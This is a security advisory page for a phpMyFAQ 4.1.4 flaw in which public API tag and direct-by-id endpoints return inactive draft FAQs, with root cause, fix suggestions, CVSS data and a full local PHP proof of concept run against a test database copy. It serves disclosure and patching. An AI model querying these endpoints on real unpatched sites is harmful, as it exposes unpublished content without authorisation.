GHSA-MF8R-WM2W-F8C5

Vulnerability from github – Published: 2026-08-25 17:30 – Updated: 2026-08-25 17:30
VLAI
Summary
phpMyFAQ public FAQ APIs expose inactive FAQ content
Details

Affected Product

phpMyFAQ

Affected Versions

  • Confirmed affected: 4.1.4, API v3.1.
  • Confirmed affected: current main / 4.2-style source, API v4.0, for GET /api/v4.0/faqs/tags/{tagId} when api.onlyActiveFaqs=true.

Patched Versions

4.1.5.

Description

The public FAQ API applies inconsistent active = 'yes' filtering across endpoints. A FAQ entry marked active = 'no' is hidden from GET /api/v3.1/faqs/{categoryId} in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:

  • GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer.
  • GET /api/v3.1/faqs/tags/{tagId} returns the inactive FAQ title and answer preview.

On the current 4.2-style branch, api.onlyActiveFaqs=true hides inactive FAQs from list and direct-by-id endpoints, but GET /api/v4.0/faqs/tags/{tagId} still returns inactive FAQ title and preview because it calls Faq::getFaqsByIds() without active/date filtering.

Inactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.

Root Cause

FaqController::getByCategoryId() calls Faq::getAllAvailableFaqsByCategoryId(), which filters:

fd.date_start <= now
AND fd.date_end >= now
AND fd.active = 'yes'

FaqController::getByTagId() instead resolves record IDs through Tags::getFaqsByTagId() and then calls Faq::getFaqsByIds($recordIds).

Faq::getFaqsByIds() filters by record ID, language, and permission, but does not filter fd.active = 'yes' or publication date windows before returning record_title and record_preview.

In phpMyFAQ 4.1.4, FaqController::getById() calls Faq::getFaqByIdAndCategoryId(), which also lacks an inactive/publication-window filter and returns the full answer.

Proof of Concept

The attached PoC uses phpMyFAQ's real Composer autoloader, real public FaqController, and a temporary copy of tests/test.db.

Run from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and tests/test.db exists:

php poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4

Expected output:

phpMyFAQ version: 4.1.4
Inserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414

GET /api/v3.1/faqs/991414 status: 200
Category response contains inactive title: no

GET /api/v3.1/faq/991414/991414 status: 200
Direct-by-id response contains inactive full title+answer: yes

GET /api/v3.1/faqs/tags/991414 status: 200
Tag response contains inactive title+preview: yes

VERDICT: reproduced inactive FAQ exposure through public API controller paths.

Suggested Fix

Apply one consistent public visibility check across all public FAQ API routes:

  • fd.active = 'yes'
  • fd.date_start <= now
  • fd.date_end >= now

Suggested implementation options:

  • Add Faq::getActiveFaqsByIds(array $faqIds) and use it in public tag API routes.
  • Or add an $onlyActive / $publicOnly argument to Faq::getFaqsByIds() and default public controllers to enabled filtering.
  • Update Faq::getFaqByIdAndCategoryId() or the public controller wrapper so inactive records return 404 for unauthenticated public API requests.
  • Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.

Reporter Credit

Please credit:

Yaohui Wang

CVE Request

Because this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria.

Full PoC Source

<?php

declare(strict_types=1);

/*
 * PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs.
 *
 * Usage from a phpMyFAQ 4.1.4 source checkout:
 *   php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4
 *
 * If no path is provided, the current working directory is used.
 *
 * This is a local-only defensive harness. It uses phpMyFAQ's real Composer
 * autoloader, real public API controller, and a temporary copy of tests/test.db.
 */

use phpMyFAQ\Configuration;
use phpMyFAQ\Controller\Api\FaqController;
use phpMyFAQ\Database;
use phpMyFAQ\Database\DatabaseDriver;
use phpMyFAQ\Language;
use phpMyFAQ\Strings;
use phpMyFAQ\System;
use phpMyFAQ\Translation;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Session\Session;
use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage;

$repoRoot = $argv[1] ?? getcwd();
$repoRoot = realpath($repoRoot);
if ($repoRoot === false || !is_dir($repoRoot . '/phpmyfaq')) {
    fwrite(STDERR, "Usage: php " . basename(__FILE__) . " /path/to/phpMyFAQ-4.1.4\n");
    exit(2);
}

if (!is_file($repoRoot . '/phpmyfaq/src/autoload.php')) {
    fwrite(STDERR, "Missing phpmyfaq/src/autoload.php. Run composer install first.\n");
    exit(2);
}

if (!is_file($repoRoot . '/tests/test.db')) {
    fwrite(STDERR, "Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\n");
    exit(2);
}

define('PMF_ROOT_DIR', $repoRoot . '/phpmyfaq');
define('PMF_CONFIG_DIR', $repoRoot . '/tests/content/core/config');
define('PMF_CONTENT_DIR', $repoRoot . '/tests/content');
define('PMF_TEST_DIR', $repoRoot . '/tests');
define('PMF_LOG_DIR', sys_get_temp_dir() . '/phpmyfaq_414_inactive_faq_api_poc.log');
const IS_VALID_PHPMYFAQ = true;

$_SERVER['HTTP_HOST'] = 'localhost';
$_SERVER['SERVER_NAME'] = 'localhost';
$_SERVER['REQUEST_TIME'] = time();

require PMF_ROOT_DIR . '/src/constants.php';
require PMF_ROOT_DIR . '/content/core/config/constants.php';
require PMF_ROOT_DIR . '/translations/language_en.php';
require PMF_ROOT_DIR . '/src/autoload.php';

function pocQuery(DatabaseDriver $db, string $sql): void
{
    $result = $db->query($sql);
    if ($result === false) {
        throw new RuntimeException('SQL failed: ' . $db->error() . "\nSQL: " . $sql);
    }
}

$tempDb = tempnam(sys_get_temp_dir(), 'pmf-414-api-poc-');
if ($tempDb === false || !copy($repoRoot . '/tests/test.db', $tempDb)) {
    fwrite(STDERR, "Cannot create temporary SQLite database.\n");
    exit(2);
}

try {
    Strings::init();
    Translation::create()
        ->setTranslationsDir(PMF_ROOT_DIR . '/translations')
        ->setDefaultLanguage('en')
        ->setCurrentLanguage('en')
        ->setMultiByteLanguage();

    Database::setTablePrefix('');
    $db = Database::factory('pdo_sqlite');
    if (!$db instanceof DatabaseDriver) {
        throw new RuntimeException('Could not create PDO SQLite database driver.');
    }

    $db->connect($tempDb, '', '');

    $configuration = new Configuration($db);
    $configuration->getAll();
    $configuration->set('api.enableAccess', 'true');
    $configuration->set('main.currentVersion', System::getVersion());
    $configuration->set('main.language', 'en');
    $configuration->set('main.referenceURL', 'https://localhost/');
    $configuration->set('security.enableLoginOnly', 'false');
    $configuration->set('security.permLevel', 'basic');
    $configuration->set('records.numberOfRecordsPerPage', '25');
    $configuration->getAll();

    $session = new Session(new MockArraySessionStorage());
    $language = new Language($configuration, $session);
    $language->setLanguageFromConfiguration('en');
    $configuration->setLanguage($language);

    $faqId = 991414;
    $tagId = 991414;
    $categoryId = 991414;
    $question = 'Inactive tagged API probe 4.1.4';
    $answer = 'This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.';

    pocQuery($db, sprintf('DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d', $faqId, $tagId));
    pocQuery($db, sprintf('DELETE FROM faqtags WHERE tagging_id = %d', $tagId));
    pocQuery($db, sprintf('DELETE FROM faqdata_user WHERE record_id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqdata_group WHERE record_id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqvisits WHERE id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqcategoryrelations WHERE record_id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqdata WHERE id = %d', $faqId));

    pocQuery($db, sprintf(
        "INSERT INTO faqdata
            (id, lang, solution_id, revision_id, active, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes, sticky_order)
         VALUES
            (%d, 'en', %d, 0, 'no', 0, 'probe', '%s', '%s', 'Probe', 'probe@example.test', 'y', '20260601010101', '00000000000000', '99991231235959', '2026-06-01 01:01:01', '', 0)",
        $faqId,
        $faqId,
        $db->escape($question),
        $db->escape($answer),
    ));
    pocQuery($db, sprintf(
        "INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang)
         VALUES (%d, 'en', %d, 'en')",
        $categoryId,
        $faqId,
    ));
    pocQuery($db, sprintf('INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)', $faqId));
    pocQuery($db, sprintf("INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, 'en', 0, 20260601010101)", $faqId));
    pocQuery($db, sprintf("INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, 'probe-private-414')", $tagId));
    pocQuery($db, sprintf('INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)', $faqId, $tagId));

    $controller = new FaqController();

    $categoryRequest = Request::create('/api/v3.1/faqs/' . $categoryId, 'GET');
    $categoryRequest->attributes->set('categoryId', (string) $categoryId);
    $categoryResponse = $controller->getByCategoryId($categoryRequest);
    $categoryContainsProbe = str_contains((string) $categoryResponse->getContent(), $question);

    $directRequest = Request::create('/api/v3.1/faq/' . $categoryId . '/' . $faqId, 'GET');
    $directRequest->attributes->set('categoryId', (string) $categoryId);
    $directRequest->attributes->set('faqId', (string) $faqId);
    $directResponse = $controller->getById($directRequest);
    $directContainsProbe = str_contains((string) $directResponse->getContent(), $question)
        && str_contains((string) $directResponse->getContent(), $answer);

    $tagRequest = Request::create('/api/v3.1/faqs/tags/' . $tagId, 'GET');
    $tagRequest->attributes->set('tagId', (string) $tagId);
    $tagResponse = $controller->getByTagId($tagRequest);
    $tagPayload = json_decode((string) $tagResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
    $tagContainsProbe = str_contains((string) $tagResponse->getContent(), $question)
        && str_contains((string) $tagResponse->getContent(), 'inactive FAQ preview');

    echo "phpMyFAQ version: " . System::getVersion() . "\n";
    echo "Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\n\n";
    echo "GET /api/v3.1/faqs/{$categoryId} status: " . $categoryResponse->getStatusCode() . "\n";
    echo "Category response contains inactive title: " . ($categoryContainsProbe ? 'yes' : 'no') . "\n\n";
    echo "GET /api/v3.1/faq/{$categoryId}/{$faqId} status: " . $directResponse->getStatusCode() . "\n";
    echo "Direct-by-id response contains inactive full title+answer: " . ($directContainsProbe ? 'yes' : 'no') . "\n\n";
    echo "GET /api/v3.1/faqs/tags/{$tagId} status: " . $tagResponse->getStatusCode() . "\n";
    echo "Tag response contains inactive title+preview: " . ($tagContainsProbe ? 'yes' : 'no') . "\n";
    echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . "\n\n";

    if (!$categoryContainsProbe && $directContainsProbe && $tagContainsProbe) {
        echo "VERDICT: reproduced inactive FAQ exposure through public API controller paths.\n";
        exit(0);
    }

    echo "VERDICT: not reproduced.\n";
    exit(1);
} finally {
    if (isset($tempDb) && is_file($tempDb)) {
        @unlink($tempDb);
    }
}

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T17:30:23Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Affected Product\n\nphpMyFAQ\n\n## Affected Versions\n\n- Confirmed affected: 4.1.4, API v3.1.\n- Confirmed affected: current main / 4.2-style source, API v4.0, for `GET /api/v4.0/faqs/tags/{tagId}` when `api.onlyActiveFaqs=true`.\n\n## Patched Versions\n\n4.1.5.\n\n## Description\n\nThe public FAQ API applies inconsistent `active = \u0027yes\u0027` filtering across endpoints. A FAQ entry marked `active = \u0027no\u0027` is hidden from `GET /api/v3.1/faqs/{categoryId}` in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:\n\n- `GET /api/v3.1/faq/{categoryId}/{faqId}` returns the inactive FAQ title and full answer.\n- `GET /api/v3.1/faqs/tags/{tagId}` returns the inactive FAQ title and answer preview.\n\nOn the current 4.2-style branch, `api.onlyActiveFaqs=true` hides inactive FAQs from list and direct-by-id endpoints, but `GET /api/v4.0/faqs/tags/{tagId}` still returns inactive FAQ title and preview because it calls `Faq::getFaqsByIds()` without active/date filtering.\n\nInactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.\n\n## Root Cause\n\n`FaqController::getByCategoryId()` calls `Faq::getAllAvailableFaqsByCategoryId()`, which filters:\n\n```sql\nfd.date_start \u003c= now\nAND fd.date_end \u003e= now\nAND fd.active = \u0027yes\u0027\n```\n\n`FaqController::getByTagId()` instead resolves record IDs through `Tags::getFaqsByTagId()` and then calls `Faq::getFaqsByIds($recordIds)`.\n\n`Faq::getFaqsByIds()` filters by record ID, language, and permission, but does not filter `fd.active = \u0027yes\u0027` or publication date windows before returning `record_title` and `record_preview`.\n\nIn phpMyFAQ 4.1.4, `FaqController::getById()` calls `Faq::getFaqByIdAndCategoryId()`, which also lacks an inactive/publication-window filter and returns the full answer.\n\n## Proof of Concept\n\nThe attached PoC uses phpMyFAQ\u0027s real Composer autoloader, real public `FaqController`, and a temporary copy of `tests/test.db`.\n\nRun from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and `tests/test.db` exists:\n\n```bash\nphp poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4\n```\n\nExpected output:\n\n```text\nphpMyFAQ version: 4.1.4\nInserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414\n\nGET /api/v3.1/faqs/991414 status: 200\nCategory response contains inactive title: no\n\nGET /api/v3.1/faq/991414/991414 status: 200\nDirect-by-id response contains inactive full title+answer: yes\n\nGET /api/v3.1/faqs/tags/991414 status: 200\nTag response contains inactive title+preview: yes\n\nVERDICT: reproduced inactive FAQ exposure through public API controller paths.\n```\n\n## Suggested Fix\n\nApply one consistent public visibility check across all public FAQ API routes:\n\n- `fd.active = \u0027yes\u0027`\n- `fd.date_start \u003c= now`\n- `fd.date_end \u003e= now`\n\nSuggested implementation options:\n\n- Add `Faq::getActiveFaqsByIds(array $faqIds)` and use it in public tag API routes.\n- Or add an `$onlyActive` / `$publicOnly` argument to `Faq::getFaqsByIds()` and default public controllers to enabled filtering.\n- Update `Faq::getFaqByIdAndCategoryId()` or the public controller wrapper so inactive records return 404 for unauthenticated public API requests.\n- Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.\n\n## Reporter Credit\n\nPlease credit:\n\nYaohui Wang\n\n## CVE Request\n\nBecause this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project\u0027s advisory criteria.\n\n\n## Full PoC Source\n\n~~~php\n\u003c?php\n\ndeclare(strict_types=1);\n\n/*\n * PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs.\n *\n * Usage from a phpMyFAQ 4.1.4 source checkout:\n *   php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4\n *\n * If no path is provided, the current working directory is used.\n *\n * This is a local-only defensive harness. It uses phpMyFAQ\u0027s real Composer\n * autoloader, real public API controller, and a temporary copy of tests/test.db.\n */\n\nuse phpMyFAQ\\Configuration;\nuse phpMyFAQ\\Controller\\Api\\FaqController;\nuse phpMyFAQ\\Database;\nuse phpMyFAQ\\Database\\DatabaseDriver;\nuse phpMyFAQ\\Language;\nuse phpMyFAQ\\Strings;\nuse phpMyFAQ\\System;\nuse phpMyFAQ\\Translation;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\Session\\Session;\nuse Symfony\\Component\\HttpFoundation\\Session\\Storage\\MockArraySessionStorage;\n\n$repoRoot = $argv[1] ?? getcwd();\n$repoRoot = realpath($repoRoot);\nif ($repoRoot === false || !is_dir($repoRoot . \u0027/phpmyfaq\u0027)) {\n    fwrite(STDERR, \"Usage: php \" . basename(__FILE__) . \" /path/to/phpMyFAQ-4.1.4\\n\");\n    exit(2);\n}\n\nif (!is_file($repoRoot . \u0027/phpmyfaq/src/autoload.php\u0027)) {\n    fwrite(STDERR, \"Missing phpmyfaq/src/autoload.php. Run composer install first.\\n\");\n    exit(2);\n}\n\nif (!is_file($repoRoot . \u0027/tests/test.db\u0027)) {\n    fwrite(STDERR, \"Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\\n\");\n    exit(2);\n}\n\ndefine(\u0027PMF_ROOT_DIR\u0027, $repoRoot . \u0027/phpmyfaq\u0027);\ndefine(\u0027PMF_CONFIG_DIR\u0027, $repoRoot . \u0027/tests/content/core/config\u0027);\ndefine(\u0027PMF_CONTENT_DIR\u0027, $repoRoot . \u0027/tests/content\u0027);\ndefine(\u0027PMF_TEST_DIR\u0027, $repoRoot . \u0027/tests\u0027);\ndefine(\u0027PMF_LOG_DIR\u0027, sys_get_temp_dir() . \u0027/phpmyfaq_414_inactive_faq_api_poc.log\u0027);\nconst IS_VALID_PHPMYFAQ = true;\n\n$_SERVER[\u0027HTTP_HOST\u0027] = \u0027localhost\u0027;\n$_SERVER[\u0027SERVER_NAME\u0027] = \u0027localhost\u0027;\n$_SERVER[\u0027REQUEST_TIME\u0027] = time();\n\nrequire PMF_ROOT_DIR . \u0027/src/constants.php\u0027;\nrequire PMF_ROOT_DIR . \u0027/content/core/config/constants.php\u0027;\nrequire PMF_ROOT_DIR . \u0027/translations/language_en.php\u0027;\nrequire PMF_ROOT_DIR . \u0027/src/autoload.php\u0027;\n\nfunction pocQuery(DatabaseDriver $db, string $sql): void\n{\n    $result = $db-\u003equery($sql);\n    if ($result === false) {\n        throw new RuntimeException(\u0027SQL failed: \u0027 . $db-\u003eerror() . \"\\nSQL: \" . $sql);\n    }\n}\n\n$tempDb = tempnam(sys_get_temp_dir(), \u0027pmf-414-api-poc-\u0027);\nif ($tempDb === false || !copy($repoRoot . \u0027/tests/test.db\u0027, $tempDb)) {\n    fwrite(STDERR, \"Cannot create temporary SQLite database.\\n\");\n    exit(2);\n}\n\ntry {\n    Strings::init();\n    Translation::create()\n        -\u003esetTranslationsDir(PMF_ROOT_DIR . \u0027/translations\u0027)\n        -\u003esetDefaultLanguage(\u0027en\u0027)\n        -\u003esetCurrentLanguage(\u0027en\u0027)\n        -\u003esetMultiByteLanguage();\n\n    Database::setTablePrefix(\u0027\u0027);\n    $db = Database::factory(\u0027pdo_sqlite\u0027);\n    if (!$db instanceof DatabaseDriver) {\n        throw new RuntimeException(\u0027Could not create PDO SQLite database driver.\u0027);\n    }\n\n    $db-\u003econnect($tempDb, \u0027\u0027, \u0027\u0027);\n\n    $configuration = new Configuration($db);\n    $configuration-\u003egetAll();\n    $configuration-\u003eset(\u0027api.enableAccess\u0027, \u0027true\u0027);\n    $configuration-\u003eset(\u0027main.currentVersion\u0027, System::getVersion());\n    $configuration-\u003eset(\u0027main.language\u0027, \u0027en\u0027);\n    $configuration-\u003eset(\u0027main.referenceURL\u0027, \u0027https://localhost/\u0027);\n    $configuration-\u003eset(\u0027security.enableLoginOnly\u0027, \u0027false\u0027);\n    $configuration-\u003eset(\u0027security.permLevel\u0027, \u0027basic\u0027);\n    $configuration-\u003eset(\u0027records.numberOfRecordsPerPage\u0027, \u002725\u0027);\n    $configuration-\u003egetAll();\n\n    $session = new Session(new MockArraySessionStorage());\n    $language = new Language($configuration, $session);\n    $language-\u003esetLanguageFromConfiguration(\u0027en\u0027);\n    $configuration-\u003esetLanguage($language);\n\n    $faqId = 991414;\n    $tagId = 991414;\n    $categoryId = 991414;\n    $question = \u0027Inactive tagged API probe 4.1.4\u0027;\n    $answer = \u0027This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.\u0027;\n\n    pocQuery($db, sprintf(\u0027DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d\u0027, $faqId, $tagId));\n    pocQuery($db, sprintf(\u0027DELETE FROM faqtags WHERE tagging_id = %d\u0027, $tagId));\n    pocQuery($db, sprintf(\u0027DELETE FROM faqdata_user WHERE record_id = %d\u0027, $faqId));\n    pocQuery($db, sprintf(\u0027DELETE FROM faqdata_group WHERE record_id = %d\u0027, $faqId));\n    pocQuery($db, sprintf(\u0027DELETE FROM faqvisits WHERE id = %d\u0027, $faqId));\n    pocQuery($db, sprintf(\u0027DELETE FROM faqcategoryrelations WHERE record_id = %d\u0027, $faqId));\n    pocQuery($db, sprintf(\u0027DELETE FROM faqdata WHERE id = %d\u0027, $faqId));\n\n    pocQuery($db, sprintf(\n        \"INSERT INTO faqdata\n            (id, lang, solution_id, revision_id, active, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes, sticky_order)\n         VALUES\n            (%d, \u0027en\u0027, %d, 0, \u0027no\u0027, 0, \u0027probe\u0027, \u0027%s\u0027, \u0027%s\u0027, \u0027Probe\u0027, \u0027probe@example.test\u0027, \u0027y\u0027, \u002720260601010101\u0027, \u002700000000000000\u0027, \u002799991231235959\u0027, \u00272026-06-01 01:01:01\u0027, \u0027\u0027, 0)\",\n        $faqId,\n        $faqId,\n        $db-\u003eescape($question),\n        $db-\u003eescape($answer),\n    ));\n    pocQuery($db, sprintf(\n        \"INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang)\n         VALUES (%d, \u0027en\u0027, %d, \u0027en\u0027)\",\n        $categoryId,\n        $faqId,\n    ));\n    pocQuery($db, sprintf(\u0027INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)\u0027, $faqId));\n    pocQuery($db, sprintf(\"INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, \u0027en\u0027, 0, 20260601010101)\", $faqId));\n    pocQuery($db, sprintf(\"INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, \u0027probe-private-414\u0027)\", $tagId));\n    pocQuery($db, sprintf(\u0027INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)\u0027, $faqId, $tagId));\n\n    $controller = new FaqController();\n\n    $categoryRequest = Request::create(\u0027/api/v3.1/faqs/\u0027 . $categoryId, \u0027GET\u0027);\n    $categoryRequest-\u003eattributes-\u003eset(\u0027categoryId\u0027, (string) $categoryId);\n    $categoryResponse = $controller-\u003egetByCategoryId($categoryRequest);\n    $categoryContainsProbe = str_contains((string) $categoryResponse-\u003egetContent(), $question);\n\n    $directRequest = Request::create(\u0027/api/v3.1/faq/\u0027 . $categoryId . \u0027/\u0027 . $faqId, \u0027GET\u0027);\n    $directRequest-\u003eattributes-\u003eset(\u0027categoryId\u0027, (string) $categoryId);\n    $directRequest-\u003eattributes-\u003eset(\u0027faqId\u0027, (string) $faqId);\n    $directResponse = $controller-\u003egetById($directRequest);\n    $directContainsProbe = str_contains((string) $directResponse-\u003egetContent(), $question)\n        \u0026\u0026 str_contains((string) $directResponse-\u003egetContent(), $answer);\n\n    $tagRequest = Request::create(\u0027/api/v3.1/faqs/tags/\u0027 . $tagId, \u0027GET\u0027);\n    $tagRequest-\u003eattributes-\u003eset(\u0027tagId\u0027, (string) $tagId);\n    $tagResponse = $controller-\u003egetByTagId($tagRequest);\n    $tagPayload = json_decode((string) $tagResponse-\u003egetContent(), true, 512, JSON_THROW_ON_ERROR);\n    $tagContainsProbe = str_contains((string) $tagResponse-\u003egetContent(), $question)\n        \u0026\u0026 str_contains((string) $tagResponse-\u003egetContent(), \u0027inactive FAQ preview\u0027);\n\n    echo \"phpMyFAQ version: \" . System::getVersion() . \"\\n\";\n    echo \"Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\\n\\n\";\n    echo \"GET /api/v3.1/faqs/{$categoryId} status: \" . $categoryResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Category response contains inactive title: \" . ($categoryContainsProbe ? \u0027yes\u0027 : \u0027no\u0027) . \"\\n\\n\";\n    echo \"GET /api/v3.1/faq/{$categoryId}/{$faqId} status: \" . $directResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Direct-by-id response contains inactive full title+answer: \" . ($directContainsProbe ? \u0027yes\u0027 : \u0027no\u0027) . \"\\n\\n\";\n    echo \"GET /api/v3.1/faqs/tags/{$tagId} status: \" . $tagResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Tag response contains inactive title+preview: \" . ($tagContainsProbe ? \u0027yes\u0027 : \u0027no\u0027) . \"\\n\";\n    echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . \"\\n\\n\";\n\n    if (!$categoryContainsProbe \u0026\u0026 $directContainsProbe \u0026\u0026 $tagContainsProbe) {\n        echo \"VERDICT: reproduced inactive FAQ exposure through public API controller paths.\\n\";\n        exit(0);\n    }\n\n    echo \"VERDICT: not reproduced.\\n\";\n    exit(1);\n} finally {\n    if (isset($tempDb) \u0026\u0026 is_file($tempDb)) {\n        @unlink($tempDb);\n    }\n}\n\n~~~",
  "id": "GHSA-mf8r-wm2w-f8c5",
  "modified": "2026-08-25T17:30:23Z",
  "published": "2026-08-25T17:30:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-mf8r-wm2w-f8c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/4c7e3f841ba6cb25564c6802509a669b0e328321"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/tree/4.1.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ public FAQ APIs expose inactive FAQ content"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…